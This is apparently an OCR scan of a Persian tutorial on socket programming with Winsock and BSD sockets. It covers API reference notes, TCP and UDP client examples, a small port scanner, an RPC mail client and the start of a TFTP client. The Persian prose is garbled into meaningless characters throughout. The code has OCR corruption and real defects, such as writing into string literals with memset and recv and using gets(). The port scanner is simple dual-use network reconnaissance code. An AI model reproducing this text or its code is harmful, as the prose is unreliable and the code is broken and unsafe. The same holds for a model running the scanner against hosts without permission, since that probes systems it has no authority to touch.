Aol p ;0 ool iyl ES g juaile b (pl GlegS )l g 095 (oo ST Al j0 eul iy ES g e sl
il

o 1, SOCKET_ERROR L plp ool as 50 &j90 10 g yho Jlade Cuddse Ojgo ,0 b ol
ils S
int WSAGetLastError (void);

18,5 o 1y aalip o ool glasl glas o 5T &l ol

el 00ls F, sl o Lo 2l o) St Jlaie

O yerie SO L aules o el a0 (g9, aslip jo sl o8 2 a5 ol S3 @ eV Ceond pl slel (o
b s B o o 4 IS algs g aslpy IS 50 g ol 00l iy p15 (6 sl o O jge0 40 aS BITNO b
Wy 00 0010 (g9, a5 ol o el (585 ol el

0 (g

struct hostent FAR * gethostbyname (
const char FAR * name

);
SlMb] a5 Slaitlo 4 5 o)ltl Sy 5 42,8 el a5 0,50 e pb Gyre 45 |, 4z, K ol ol
0,8 cp 3yl0 8 T e b

S okl Sygo ol g0 sl (o NULL (551 (655 o)Ll Loz 5950 &jgo j0 ol (nl (585 51 5lotie
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int PASCAL FAR getpeername(
SOCKET s, struct sockaddr FAR * name,
int FAR * namelen

590 Sy 1) 395 i 4 Juate Gdle wyol Silgs (oo @i ol Sl eoliid b

Siegs HlesS )] yo a5 sockaddr lasle jo 1y a5 890 crdle ((aaseie ) Loyol Ll 5l aw b oy
WIS oo g Sl odd aseie

il Gl e plesS

B30 50 CS g Slasie

Ngd o 5,55 (5 S g ledbl 4 Slaxslo juiie w0l

Ngd o 5,0 o 5 S g Oledlbl a5 Slexs Ll ol

ol lade 095 Dlles CouSl Djso 0 5 AT oo p ) jhe ke CoBlse Djso 0 a5 )
15,8 o s oaiilyR 3 by 4 1) (1) ol i sue S 4l 45 |, SOCKET_ERROR

int PASCAL FAR getsockopt ( SOCKET s, int level,
int optname, char FAR * optval,
int FAR * optlen

);
oS pade 1y 0gs Sl 0y00 CSw Camdy el 0 &b Gl 1 eslatld L
e 4l onl e plesS|
(05 oasetio 1) ] Copndg madlss (o o5 S g £33 51 (6 pmaitin ) sl E5 s aasiiin gl ()losS )|
IPPROTO_TC(5s SOL_SOCKET( il axils Jlaie g0 Silgs oo o5 a5 pgs ylesS )]
S 0 )5S 053 o ) LS g Cmsg col INt E9 3l e SO a5 sam HlegS )]

ol 0 0 u3d ] 0 ES g Slasuine a5 (6,8 4wl (5,5 o Lal Optval

ol @ pl sl Sk 0450 580 o5lail Optlen

Ll 00l Gﬁu)))..b‘éjf))..b‘y6@&:[)&‘45‘5.“5))))0@3‘1 Js..)..?)é

Value Type Meaning
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SO_ACCEPTCONN BOOL Socket is listen()ing
SO_BROADCAST BOOL
SO_DEBUG BOOL Debugging is enabled.
SO_DONTLINGER BOOL If true, the
SO_LINGER option is
disabled..
SO_DONTROUTE BOOL Routing is disabled.
SO_ERROR INT Retrieve error status
and clear.
SO_KEEPALIVE BOOL Keepalives are being
sent.
SO _LINGER struct linger FAR* Returns the current
linger options.
SO _OOBINLINE BOOL Out-of-band data is

being received in the
normal data stream.

SO_RCVBUF INT Buffer size for receives
SO_REUSEADDR BOOL The socket may be
bound to an address
which
is already in use
SO_SNDBUF INT Buffer size for sends
SO _TYPE INT The type of the socket
(e.g.
SOCK_STREAM).
TCP_NODELAY BOOL Disables the Nagle
algorithm for send
coalescing
3-1 Jga=>

&ls,5 op |, SOCKET_ERROR culi cauSs 590 Oigo 50 3 yho jlakie Cabige g0 50 @b ol

char FAR * PASCAL FAR inet_ntoa ( struct in_addr in);
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50 o asuiie [P ol (sol> a8 s, G g a8 5 |, oS g Slaseie 4 by o laislo SO ol oyl

wlo)f Ry ‘) 0dgy &05)5 ulAA}LhAJ

d..:‘d)f Py OM‘P‘)S Ml.:).:d_\‘)][a;

QyC MJ)JQ ul.:)l)m‘sm;y Ml.:).:)d oolaw! Sy90 é"‘ﬂ’)’]‘awgfﬁ“ U"‘
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<4
*

L P9 e

TCP < Client 4ok 9 s cébu 092

L doRo
wsyww‘ompwsé)‘msn)ls&gmJd‘Mb)JM‘QGAAS)B.L:uLo.Q
S by andl (o0 Joled jo oo b 093 alby ploxl sl (As 90 Gl 0 nS g (RS g 0ains
Loy asb cod s98 ((USEr Interface ) )15 Lo, slyls ooims uogpw aslip Yooro oS oo 5 5o
@5l o o 4 5 m asly Sladats 0y50 50 S W)l )5 iS00l b IS @Blse yiien o
YM‘SJU Sl )\)sf(C“ent) o"bf‘f U9 Mla).: )Q &9.,@9;’ UJ‘J&LA‘ 0)‘..).5 6‘ o..L.?u.: ‘5>‘).L:
Shgiws 2B Goz Bl (oo ol)5 LI Hekiie a4 698 5,5 Laly s b cias ugim sl asl
Ol 099 jlee Dyge ;0 0aidd g alip g WS o jolo 0 1S g asly 5l eolaill Ly 0>

ol oo L2l 1) jgiws )5 o1 gl ol g
L ASSS

Syge 4o a8 > Gl Sl g i Jlws o Sl Cod o aelip jo Gl a5 Bl allls axgl

RURARIRTY PPy 63\4.:_? 0 )5 Al dad ;08 A o Wiz 2 aeli p dlade ol a llad as g
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10N g g g gw 4ol 9 Colu

w1y asly g oS wlass |, (Client) g ie 4l SO oS 6eS> a5 0,085 o 13 b al> e opl o
o 5 0590 aslip S le 4 £9d a9 00,5 Ly pai 059 SG Tl Lo jslaie cnl (sl il (6510 200
bl oo W)l 1) Dlonpdgs alo o ay Al 0 & g0 4 Cond s 0 g 0

103951 A y%

45 oS ATl 9 e T8 paeas o2 Bl 4 eelst po a5 ) sl Al oy wad Lo Cend il o

WS oo Lo Lo gl SUSGT az g ams plodl (6,15 ax el 13 La8s aeli

el 7y

o Jaie yopm w4 ol )15 bl sl g Slasin 33,5 L Jw el Client abp G L 4k,

WSl

AL bL s Jlail el o prssi sl 55 @ 1) ol ol g o 310 (23550l iz Lo iy (9
aaliyr 45 ol Lastie bl 4 B o 0iS il 0 )15 5l o 1) gm0 eyl Cpioren g ol ails |y Sy
Jbo)l sorm a1y (ol 5 098 Juato 5w 4 a5 0Bl pl oo aslipy (ol (ol SIS g 018 (60959 90 Lo Hlaine
L 0BL 5 9l ol (85 lae (rdzmen g 9IS

o ((CliENT) (6 i slo aliy yiies 0956 (5 S0l 4o asliy oy pAd 4y pud el dw,y ooyl
REIgK

D9l (g0 0310 g 48, I o ST e 5 ol sl 05 aslip g P s

raoli o oS

ES g J53S slp Lo L 0550 ilss o5 |, WINSOCKZ. e ol il el ol (igd 9, (sl s>
amio b5 6lp oot @lgs a5 SEAIO.N jos pimen oS @il asliyp a ) aijls 13 T o aSls sla
5l a4l M o a5 String.h o Stdlib.h la oL @ Koo woe jom 98 5 500,15 ol o jeiile g oS
00,5 zlyzinl b jam cpl 5l aS |, wlgi 843 slo 10) @S oo ooliiul axiwa i la jan opl jo a5 aly
atten 8 ol 5l L by oS Jgl s iz peolis al b g3l oalss s | ot

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <winsock2.h>

@M)Gnmain() &b s ael Lol b Gy pad 4y Cugi Aol jo coliiwl 90 sl jom oy, 5l o
WS e ) O jge
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void main(int argc,char **argv){

oleyd b 5l as al cpl slo ylesS )T Ll o s iS5 Jlade o ls oG MAIN() 45 Lo asl s Lol pob o>
5 93 oeble oydl g 6T (G Lo el (sl (5399 285 10 (BOC 5 ATQV ) wipd (oo Jlo)l &b
b0 (689,59 51 45 ola als, slaws AMGC HlegS )T o 4 wils oo Lo a3l 0 )15 bLs,l &y 0 les

oS b pleyd b o Lo ST i gl

C:\>client.exe 66.33.96.2 45

o2 AIGV 5 (53555 o (oS, T (sl o ;550 SU 90 5 anliyy 093 oL sl (o) 958 o0 3l ArQC

D9l (o0 Dygo

6 6 : 3 3 : 9 6 : 2 |Null
NULL

Lol 5Ls w2 ;508 o O VEHF uLaslS b sl leolS (6l Lol oo oolel o b cpl 40 b g5
1S Jee g0 s b 3 039 a4 ] 0,5 aslsl gl as WS_32.11b wlsulis

BB gg om oS SIS |, Files a5 5 08,5 wlsesl 1, add to Project sois 55 Project sge locul
Ll 08,5 coas |y gratul Jlghg a5 cwyol 4 g 00,5 SIS |, OPEN  aeSs s g auas L3 1D 1, sl
L6 oas ol glo LG o 5 S 5L | LID adgy wa 5005 5L 1, VEE adg Luil o 5wy
Elw 4 b Yl ol ons adlol Lo aalip ar Has 0,50 aibiols s OK 4 w35, 1, WS_32.1ib
8y B ke By yx Sy Ay al> e

Slp &5 Cadls Wb il oS (oo 093 dalip ;0 osliiul 990 slo it ypii 4 £9,8 Lo al>ye (0l o
3,08 legS,T 98 &l ol a5 ouiS sslaswl WSASHArtUp(); b 5l aub b Sledde (53le oobel g 5,155 ,b
e 5l ools lazln S 6,50 5 el (WINSOCK2.h) ssliul o500 yo (5,55 &m0 a5 e SO Sl
Lae Gl ools gg5 cpl JLlo b oldl glp 0gd (o0 0,53 ot Sledlbl ol o a5 el WSADATA

o2 oo Hmled el sl |y gl ool [LSLo cpl o 05290 slac]
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typedef struct WSAData {

WORD wVersion;

WORD wHighVersion;

char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatusJWSASYS_STATUS LEN+1];
unsigned short iMaxSockets;

unsigned short iMaxUdpDg;

char FAR * IpVendorlnfo;

} WSADATA, *LPWSADATA,;

S 9 09b (00 00,9l Al Slol jo a5 axlie A ol e i OS> 0590 50

DS i pad e g0 Wb e bl 4 B e 9>
WORD wVersionRequested;
WSADATA wsaData;

w‘ Lle W 6)Lu I (5‘).: oolaswl 0)9.9 as & uLC)’l.L:‘ (5)‘@ (5‘).: (5990 ) )M w)l.i: o)l.o.lza
6\ooloyudwdy&lsrﬁ)bSOCKET@jlﬂxﬁ@@jgww@wuélﬂu
o)..f‘sn)l).e oolaswl 0)9.9 ‘sajflajf é.:‘y)é ASML: Gnl.nu)y Le Jay).n ul.a.ucy 6)‘@ (5‘).: w‘ |nt
oals iy WINSOCK.N jan jo s slasliul gl ools g5 5 SOCKET g4 a5 ol 53 oLLs

|

SOCKET intSocket;

L)l JSSen g9 9 som eile u*’)QT < sl et Lo Hlai 0590 (bLs )| &g o)l (610055 Sl 2
iy ya5 aalip 0 Wb g4 opl 5l uiie SO as yo el SOCKAAAr_iN ob 4 ol sols [l G a 5Ls
YW

struct sockaddr_in recSin;

Sldes plol 51 L8 Jlo )l Cledbol Cdge 0,58 pizmon g (230 0 Oledlbl 610 gl 8L SO @ L
5 Floyl Sledlbol ez il ailils dogi @0uiS oo i 095 Jlid 4 Lo 8L SO Al o paisejls JL)|
o SR 0 ST g ) Bl cal Wl g le wil (e b STUE Sl gl and ) & g0 4y (L0

Al jeite wilg o Lo Lo Ly e ] Jsb o5 e STl sl 4l

char * pchrBuffer,
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POSLEPPRE FPCL ISP B PV RPOA S PRV INP-SKVE ST SIS CRISVEL O VIF ¥ 1% 5 LR OWPRRGIE SRy J

int intErr;

& Sl o by 6lp Wb b sw al> e ;0 wad Gy b by 5LS 0590 sla ki bxnl 4 b Cgs
ol 45 S s |y bLSI s 5 Sledlbl Jobs sl Lo Shai 0550 Oysy eizran g (e bl 0]
S8 Ll o pds oo o900 WSADALA (gl ools ylaisle slacl & 20 Jlade b Solw 4 o 15 51 alude
51, (Main ) asbyy ol &b sla logS )T 00,5 12l | asbi a5 )5 LT 45 09 JuS b )5 52
D9 o3ls MLl )5 4y JI& y2 590 Sjge )3 9 5 Lied S 0l
oS oo Jos 455 (i

if(argc<3){

printf("::Error on The call Program::\n");

printf("%s RemotelPAddress RemotePort",argv[0]);
exit(1);

@ lie ab cpl oSl a5 cul 4l plasl 3l ailsg ols 1,3 StAIID.N jas jo a5 o eXit() &b

(0,5 soliiul ool oy sl asis gl ol sl oles 69) Sl oo 00l Jole i
by R30S o oaS 3)ls 1y Lo Hlas o550 (6395 DMLl )15 a5 gl (yralae pailsd (oo Yo o5 sly2l 5 o
oS (o0 @y 4elip 50

recSin.sin_addr.S_un.S_addr=inet_addr(argv[1]);

recSin.sin_family=AF_INET;
recSin.sin_port=htons(atoi(argv[2]));

Silgs oo i Sloisgs lp ol ool 089l Alie LB cod ;o WSADATA jLsle slacl 7,0
syle 13 StAlib.h jan jo a5 2l cplaS S Wb ol 0,90 40 a5 col ALOI() b Laid oS axxlye ] @
ady Sy g5l a1y 093 legS )l ose b))l (S aiS oo b (g0 Jlade 4 ) (sl At laie
L8 o Sl (6 5SS

Lo a5 083 (oo o &b opl a5 et Oyg0 1) ule piew (INMtIALES) g5Lo colel al> 10 sl V>
Wl 3 Q)w@bﬂ.ﬁ_ﬁq)ﬁjl@Ab)n)ouafmm.;fool.é:@lWSZ_:Bz.d” 3 elei

wVersionRequested=MAKEWORD(2,0);
if(WSAStartup(wVersionRequested,&wsaData))
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printf("\n::Error On init Socket::\n");
exit(1);

58 3990 slael a5 cul ol o] aadsy a5 coul o oolaiwl Makeword() ¢ ,SL sl oS ol e e
xb Loy (WORD) ngd JB o5 @ 1) cova L WINSOCK.N jos 5,5 Sibo a5 1, jiilesS )]
alyz 052 iy by logS, ] 0,5 ooliiwl joa 2 3,15 5 e Lo g 05 s WSAStartup()
.(MAKEWORD(2,0)) s

L1y olesS,l opl o cavn WSADAtA lasle o polie gols 13 ol aadsg WSAStarup oG s>
20 i o)l Gl a4 i el 00,5 Lazine b sl (Call by reference ) sl L S8 g
slplyo)lo 13 o o (wsaData) L slasle e a5 e o0l (Call Dy value) ob bl
w2l 03,5 Jlo)) &l

Sy bl ol a8 jlaie o a5 Gilo )5 o p yho pé (g laie WSASHANUP b Uas 59, & )90 o
oS oo aails plig S la b asly 4y SIS 59 &g 40 9wl 00,8 S if

oS i 23 SOCKEL() ool 51 oolitul b1y 095 &S gur auilys oo 45 ool 00, (51 al 1o 4y Lxis] o

intSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(intSocket = = INVALID_SOCKET)

{
printf("\n::Error On Create Socket::\n");

WSACleanup();
exit(1);

Cewle Hha5 8590 CS g 00LS Crpogd i p lade woo slodl Coddge L) g5 IS ST S g0 &b g5
ey S s sl e aS ails S op |, INVALID_SOCKET L, ol & jge cpl w8 50 4
A5 sl 0sd pmeiie 35 pgd oSl 5 eeS oo dumlie b ATl Lok U 1) Mo ol sl b
cl Jade a5 5 5wl UDP gy jl a5 eilss o 51 5 cud TCP g4 5l Lo Ly,

w2 1,3 SOCK_DGRAM

Bl Se ) aisl oo abibls 0,5 JB g Jele atanw 55,0 plail 1y 55 WSACIeanup() b
(a5 o Joe WSAStartup()

{298 Jeate yg 0 4 CONNECE() b 5l ool L Lo a5 ol oolol o o Yl
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intErr=connect(intSocket,&recSin,sizeof(recSin));
if(intErr==INVALID_SOCKET)

{
printf("\n::Error On Connect to Socket::\n");

WSACleanup();
exit(1);

ol 00 0310 sl SVl (6w Jol Ceonnd 0 s a4 Giola oS ,T g CONNECE() b o900
Sl b1y 80 o) 5l B Jg oS oo o0liiu] jgm 0 Sledbl o)l Sldee alil sl SENA() &b ;)
oS oo 095 )5

pchrBuffer="Salam\0";
intErr=send(intSocket,pchrBuffer,strlen(pchrBuffer),0);
if(intErr==SOCKET_ERROR)
{

printf("\n::Error On Send Data::\n");

printf("Error Code:%d",WSAGetLastError());
WSACleanup();
exit(1);

Slp 0 codle a5 sl ansls axgh dgm oo Jloyl jope Bk a4 SAlAM ais, Jlade <> ol o
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memset(pchrBuffer,\0’,strlen(pchrBuffer));
intErr=recv(intSocket,pchrBuffer,strlen(pchrBuffer),0);
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if(intErr==SOCKET_ERROR)

{
printf("\n::Error On Recev Data::\n");

printf("Error Code:%d",WSAGetLastError());
exit(1);

}
printf("%s",pchrBuffer);
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closesocket(intSocket);
WSACleanup();
getch();

}
ZTCPO&};w,ﬂMBﬁﬁ
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#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
//define main function:
void main(int argc,char **argv){

WSADATA wsaData;
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WORD wVersionRequested;
SOCKET intSocket;
struct sockaddr_in recSin;
int intErr;
char *pchrBuffer;
if(argc<=2){
printf("::Error on The call Program::\n");
printf("%s RemotelPAddress RemotePort",argv[0]);
exit(1);
}
recSin.sin_addr.S_un.S_addr=inet_addr(argv[1]);
recSin.sin_family=AF_INET,;
recSin.sin_port=htons(atoi(argv[2]));
wVersionRequested=MAKEWORD(2,0);
if(WSAStartup(wVersionRequested,&wsaData)){
printf("\n::Error On init Socket::\n");
exit(1);
}
intSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(intSocket==INVALID_SOCKET){
printf("\n::Error On Create Socket::\n");
WSACleanup();
exit(1);
}
intErr=connect(intSocket,&recSin,sizeof(recSin));
if(intErr==INVALID_SOCKET){
printf("\n::Error On Connect to Socket::\n");
WSACleanup();
exit(1);
}
pchrBuffer="Salam\0";
intErr=send(intSocket,pchrBuffer,strlen(pchrBuffer),0);
if(intErr==SOCKET_ERROR){
printf("\n::Error On Send Data::\n");
printf("Error Code:%d",WSAGetLastError());
WSACleanup();
exit(1);
}
memset(pchrBuffer,\0’,strlen(pchrBuffer));
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intErr=recv(intSocket,pchrBuffer,strlen(pchrBuffer),0);
if(intErr==SOCKET_ERROR){
printf("\n::Error On Recev Data::\n");
printf("Error Code:%d",WSAGetLastError());
exit(1);
}
printf(*\nRecived Data:%s\n”,pchrBuffer);
closesocket(intSocket);
WSACleanup();
getch();
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
//define main function:
void main(int argc,char **argv){
WSADATA wsaData,
WORD wVersionRequested;
SOCKET intSocket;
struct sockaddr_in recSin;
int intErr;
char *pchrBuffer;
if(argc<=2){
printf("::Error on The call Program::\n");
printf("%s RemotelPAddress RemotePort",argv[0]);
exit(1);
}
recSin.sin_addr.S_un.S_addr=inet_addr(argv[1]);
recSin.sin_family=AF_INET;
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recSin.sin_port=htons(atoi(argv[2]));
wVersionRequested=MAKEWORD(2,0);
if(WSAStartup(wVersionRequested,&wsaData)){
printf("\n::Error On init Socket::\n");
exit(1);
}
intSocket=socket(AF_INET, SOCK_DGRAM,IPPROTO_UDP);
if(intSocket==INVALID_SOCKET){
printf("\n::Error On Create Socket::\n");
WSACleanup();
exit(1);
}
pchrBuffer="Salam\0";
intErr=sendto(intSocket,pchrBuffer,strlen(pchrBuffer),0,&recSin,
sizeof(recSin));
if(intErr==SOCKET_ERROR){
printf("\n::Error On Send Data::\n");
printf("Error Code:%d",WSAGetLastError());
WSACleanup();
exit(1);
}
memset(pchrBuffer,\0’,strlen(pchrBuffer));
intErr=recvfrom(intSocket,pchrBuffer,strlen(pchrBuffer),0,&recSin,
sizeof(recSin));
if(intErr==SOCKET_ERROR){
printf("\n::Error On Recev Data::\n");
printf("Error Code:%d",WSAGetLastError());
exit(1);
}
printf(“\nRecived Data:%s\n”,pchrBuffer);
closesocket(intSocket);
WSACleanup();
getch();
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#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>

#include <netinet/in.h>
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#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

//define main function:

void main(int argc,char **argv){
int intSocket;
struct sockaddr_in recSin;
int intErr;

char *pchrBuffer;
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if(argc<=2){
printf("::Error on The call Program::\n");
printf("%s RemotelPAddress RemotePort",argv[0]);
exit(1);
}
recSin.sin_addr.S_un.S_addr=inet_addr(argv[1]);
recSin.sin_family=AF_INET;
recSin.sin_port=htons(atoi(argv[2]));
intSocket=socket(AF_INET, SOCK_DGRAM,IPPROTO_UDP);
if(intSocket==-1){
printf("\n::Error On Create Socket::\n");
exit(1);
}
pchrBuffer="Salam\0";
intErr=sendto(intSocket,pchrBuffer,strlen(pchrBuffer),0,&recSin,
sizeof(recSin));
if(intErr==-1){
printf("\n::Error On Send Data::\n");
exit(1);
}
memset(pchrBuffer,\0’,strlen(pchrBuffer));
intErr=recvfrom(intSocket,pchrBuffer,strlen(pchrBuffer),0,&recSin,
sizeof(recSin));
if(intErr==-1){
printf("\n::Error On Recev Data::\n");
exit(1);
}
printf(“\nRecived Data:%s\n”,pchrBuffer);
closesocket(intSocket);
getch();
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#include <sys/types.h>
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#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>

#include <unistd.h> /* close */

#define SERVER_PORT 1500
#define MAX_MSG 100

int main (int argc, char *argv[]) {
int sd, rc, i;
struct sockaddr_in localAddr, servAddr;
struct hostent *h;
if(argc < 3) {
printf("usage: %s <server> <datal> <data2> ...
<dataN>\n",argv[0]);
exit(1);
}
h = gethostbyname(argv[1]);
if(h==NULL) {
printf("%s: unknown host '%s"\n",argv[0],argv[1]);
exit(1);
}
servAddr.sin_family = h->h_addrtype;
memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0],
h->h_length);
servAddr.sin_port = htons(SERVER_PORT);
/* create socket */
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd<0) {
perror(*'cannot open socket ");
exit(1);
}
/* bind any port number */
localAddr.sin_family = AF_INET;
localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
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localAddr.sin_port = htons(0);
rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));
if(rc<0) {
printf("%s: cannot bind port TCP %u\n",argv[0],SERVER_PORT);
perror(“error ");
exit(1);
}
/* connect to server */
rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
if(rc<0) {
perror(*'cannot connect ");
exit(1);
}
for(i=2;i<argc;i++){
rc = send(sd, argv[i], strlen(argv|i]) + 1, 0);
if(rc<0) {
perror(*cannot send data ");
close(sd);
exit(1);
}
printf("%s: data%u sent (%s)\n",argv[0],i-1,argv[i]);
}

return O;

¥
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#include <windows.h>
#include <winsock.h>

#include <stdio.h>

int main(int argn,char **argv)
SOCKET sock;
struct sockaddr_in sock_addr;
WSADATA data;
WORD p;
int porta,a;
int err=0;
p=MAKEWORD(2,0);
err=WSAStartup(p,&data);

if(argn!=4){

printf("\nUso: %s <ip> <porta iniziale> <porta
finale>\n",argv[0]);

exit(0);
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}

for(porta=atoi(argv[2]); porta<=atoi(argv[3]); porta++){
sock=socket(PF_INET,SOCK_STREAM,0);
sock_addr.sin_family=PF_INET,;
sock_addr.sin_port=htons(porta);
sock_addr.sin_addr.s_addr= inet_addr(argv[1]);

err=connect(sock, (struct sockaddr*)&sock_addr,sizeof(struct
sockaddr));

if(err==0)
printf ("%d porta aperta\n",porta);
closesocket(sock);
}
WSACleanup();

return O;
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#include <rpc/rpc.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <netdb.h>
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#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#ifndef _MAILBOX_H
#define  _MAILBOX_H

/*the port mail clients will be connecting to */
#define MSERVERPORT 3476

/* server hold 20 mails at most*/

#define MAILMAX 20

/*all message are of fixed length: MSGLEN*/
#define MSGLEN 80

#define START 1
#define QuUIT 2
#define RETRIEVE_MESSAGE 3
#define INSERT_MESSAGE 4
#define LIST_ALL_MESSAGES 5
#define DELETE_MESSAGE 6

typedef char mess[MSGLEN];

struct argument {
int cmdType;
mess user;
int messagelD;
mess message;
¥

typedef struct argument argument;

/*
server to client message
*/
struct srvResponse {
int respondID; /* 0: successful, otherwise error*/

mess message,
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typedef struct srvResponse srvResponse;

struct mails {

int mailNum;

mess mailsf]MAILMAX];
Y

typedef struct mails mails;

#endif /* |_MAILBOX_H */
#define CMDQUIT 0
#define CMDLIST 1
#define CMDREAD 2
#define CMDINSERT 3
#define CMDDELETE 4

void main(int argc, char* argv[]){
CLIENT *cl;
char hname[70];
char* user;
char cmd[80];
int cmdType;
char* tokens[10];
char* token;
int tokenNum;
char** p;
int quit = 0;
mails * myMails;
inti;
argument arg;

insert_argument insert_arg;

int messagelD;

char message[80+1];

if (argc 1=3) {
printf("Usage: rpcclient hostname userID\n");
exit(1);
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}
cl = cInt_create(argv[1],MAILBOX_PROG, MAILBOX_VERS, "udp");

if (cl == NULL) {
cint_pcreateerror(argv[1]);
exit(1);

printf("Getting ready to call start\n");
/l strcpy(host,"ClientA");

i = gethostname(hname,69);
printf("hostname = %s i= %d\n",hname,i);
user = strcat(hname,argv[2]);

printf("user = %s i= %d\n",user,i);

p = start_2(&user,cl);

if (p == NULL) {
cint_perror(cl,argv[1]);
exit(1);

}

printf("%s\n",*p);

printf("press any key to continue™); getchar();

/*
command interpreter

*/

while (quit == 0) {
system("clear");
printf("******* Available Commands *******\n");
printf(" quit --> quit the system\n");
printf(" list --> list all mails\n");
printf(" read [msgNQO] -->read a certain mail\n");
printf(" delete [msgNO] --> delete the mail\n");
printf(" insert --> insert a message\n");
[o181011{ (aishishaishaiaiaiaiaiaisinisiaisiaiaiiaisiaishisiaiaiaiaiaiaiaiaial L ) B
printf("cmd=>");
gets(cmd);
for((token=strtok(cmd,""));token&&(tokenNum < 9);token=
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strtok(NULL,™)) {
tokens[tokenNum] = token;
tokenNum ++;
}
if (tokenNum < 1) {

printf("command error, press any key to continue™);

getchar();
continue;
}
cmdType = -1;

if (strcmp(tokens[0],"quit") == 0) cmdType = CMDQUIT;
if (strcmp(tokens[0],"list") == 0) cmdType = CMDLIST;
if (strcmp(tokens[0],"read™) == 0) {
printf(" messagelD:");
gets(message);
messagelD = atoi(message);
if (messagelD '=0) {
messagelD --;
cmdType = CMDREAD;

}
}
if (strcmp(tokens[0],"delete™) == 0) {
printf(" messagelD:");
gets(message);
messagelD = atoi(message);
if (messagelD !=0) {
messagelD --;
cmdType = CMDDELETE;

}
}
if (strcmp(tokens[0],"insert") == 0) {
printf(" message:");
gets(message);
cmdType = CMDINSERT;
}
switch (cmdType) {
case -1:
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printf("command error, press any key to continue™);
getchar();
break;
case CMDQUIT:
p= quit_2(&user, cl);
if (p == NULL) {
cint_perror(cl,argv[1]);
exit(1);
}
quit=1;
printf("Thanks for using Zheng Run'’s Mail System\n");
printf("Bye! Bye %s!\n",*p);
break;
case CMDLIST:
myMails = list_all_messages_2(&user, cl);
if (myMails == NULL) {
cint_perror(cl,argv[1]);
exit(1);
}
if (myMails->mailNum < 0) { //error
printf("%s\n",myMails->mails[0]);
}else {
printf("you have %d mails totally\n",myMails->mailNum);
for (i=0; i< myMails->mailNum;i++) {
printf("%d: %s",i+1,myMails->mails[i]);
}
}

printf("retrived mail list finished, press any key to continue");
getchar();
break;
case CMDREAD:
strcpy(arg.user,user);
arg.number = messagelD;
p= retrieve_message_2(&arg, cl);
if (p == NULL) {
cint_perror(cl,argv[1]);
exit(1);
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¥

printf("%os press any key to continue",*p); getchar();
break;
break;
case CMDDELETE:
strcpy(arg.user,user);
arg.number = messagelD;
p= delete_message_2(&arg, cl);
if (p == NULL) {
cint_perror(cl,argv[1]);
exit(1);
}
printf("%s press any key to continue",*p); getchar();
break;
case CMDINSERT:
strcpy(insert_arg.user,user);
strcpy(insert_arg.mesg,message);
strcat(insert_arg.mesg,"\n");
p= insert_message_2(&insert_arg, cl);
if (p == NULL) {
cint_perror(cl,argv[1]);
exit(1);
}
printf("%s press any key to continue",*p); getchar();

break;

cint_destroy(cl);
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#include <stdio.h>  /* for printf() and fprintf() */

#include <sys/socket.h> /* for socket(), connect(), sendto(), and recvfrom() */
#include <arpa/inet.h> /* for sockaddr_in and inet_addr() */

#include <stdlib.h>  /* for atoi() and exit() */

#include <string.h>  /* for memset() */

#include <unistd.h>  /* for close() */

#include <math.h>

#include <sys/time.h>

#define ECHOMAX 518  /* Largest block to transfer */

int countbyte(char *fname){

FILE *fp;
char ch;
int noc = 0;
fp = fopen (fname,"rb");
while(1){

ch = fgetc(fp);

if(ch == EOF)

break;

noc++;
}
fclose (fp);
return (noc);

¥

void DieWithError(char *errorMessage)

{

perror(errorMessage);
exit(1);
¥

void DieWithError(char *errorMessage); /* External error handling function */

int main(int argc, char *argv[]){
int sock; /* Socket descriptor */
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struct sockaddr_in tftpServAddr; /* tftp server address */
struct sockaddr_in fromAddr;  /* Source address of echo */
unsigned short tftpServPort=2000; /* tftp server port */
unsigned int fromSize; /* In-out of address size for recvfrom() */
char *servlIP; /* IP address of server */
char tftpBuffer[ECHOMAX], tftpBuffersend[ECHOMAX]; /* Buffers for
receiving and sending file */
char firststring[50]; /* first string with R/W and filename */
int firststringlen, sendacklen, tftpBuffersendlen; /* Length of
strings to transfer at various times */
int respStringLen; /* Length of received response */
int blockno, oldblockno ;
char blk_no[6]; /*Tracks block no*/
char *fname , *sendack;
char request;
int totalbytes;
inti,j,k, x, templen;
char R,W, ch;
FILE *fp;
int count=0; /* indicates the total no of bytes trasnfered */
struct timeval start,end,rtend;
float ttime,rttime; /* to maintain time values */
long se,usec,rse,rusec;
/* PROGRAM STARTS HERE */

if (argc !=4) /* Test for correct number of arguments including filename

and R/W */
{
fprintf(stderr,"Usage: %s <Server IP> <File Name> <R/W=> \n", argv[0]);
exit(1);
}
servIP = argv[1]; /* First arg: server IP address (dotted quad) */
fname = argv([2]; /* Second arg: file to transfer */

request = *argv[3]; /* Read or Write request*/

/* Create a datagram/UDP socket */

if ((sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
DieWithError("socket() failed");

/* Construct the server address structure */
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memset(&tftpServAddr, 0, sizeof(tftpServAddr)); /* Zero out structure */
tftpServAddr.sin_family = AF_INET; /* Internet addr family

*/
tftpServAddr.sin_addr.s_addr = inet_addr(servIP); /* Server IP address */
tftpServAddr.sin_port = htons(tftpServPort);  /* Server port */

/* Reads file from server */

if (request == 'R’ || request =="r")
{
bzero(firststring,sizeof(firststring));
firststring[0] = 'R";
strepy (&firststring[1], fname); /*File to read*/
firststringlen = strlen (firststring);
/* Send the firststring to the server */
/* get the intial time */
gettimeofday(&start,(struct timezone *)0);
if (sendto(sock, firststring , firststringlen, 0, (struct sockaddr
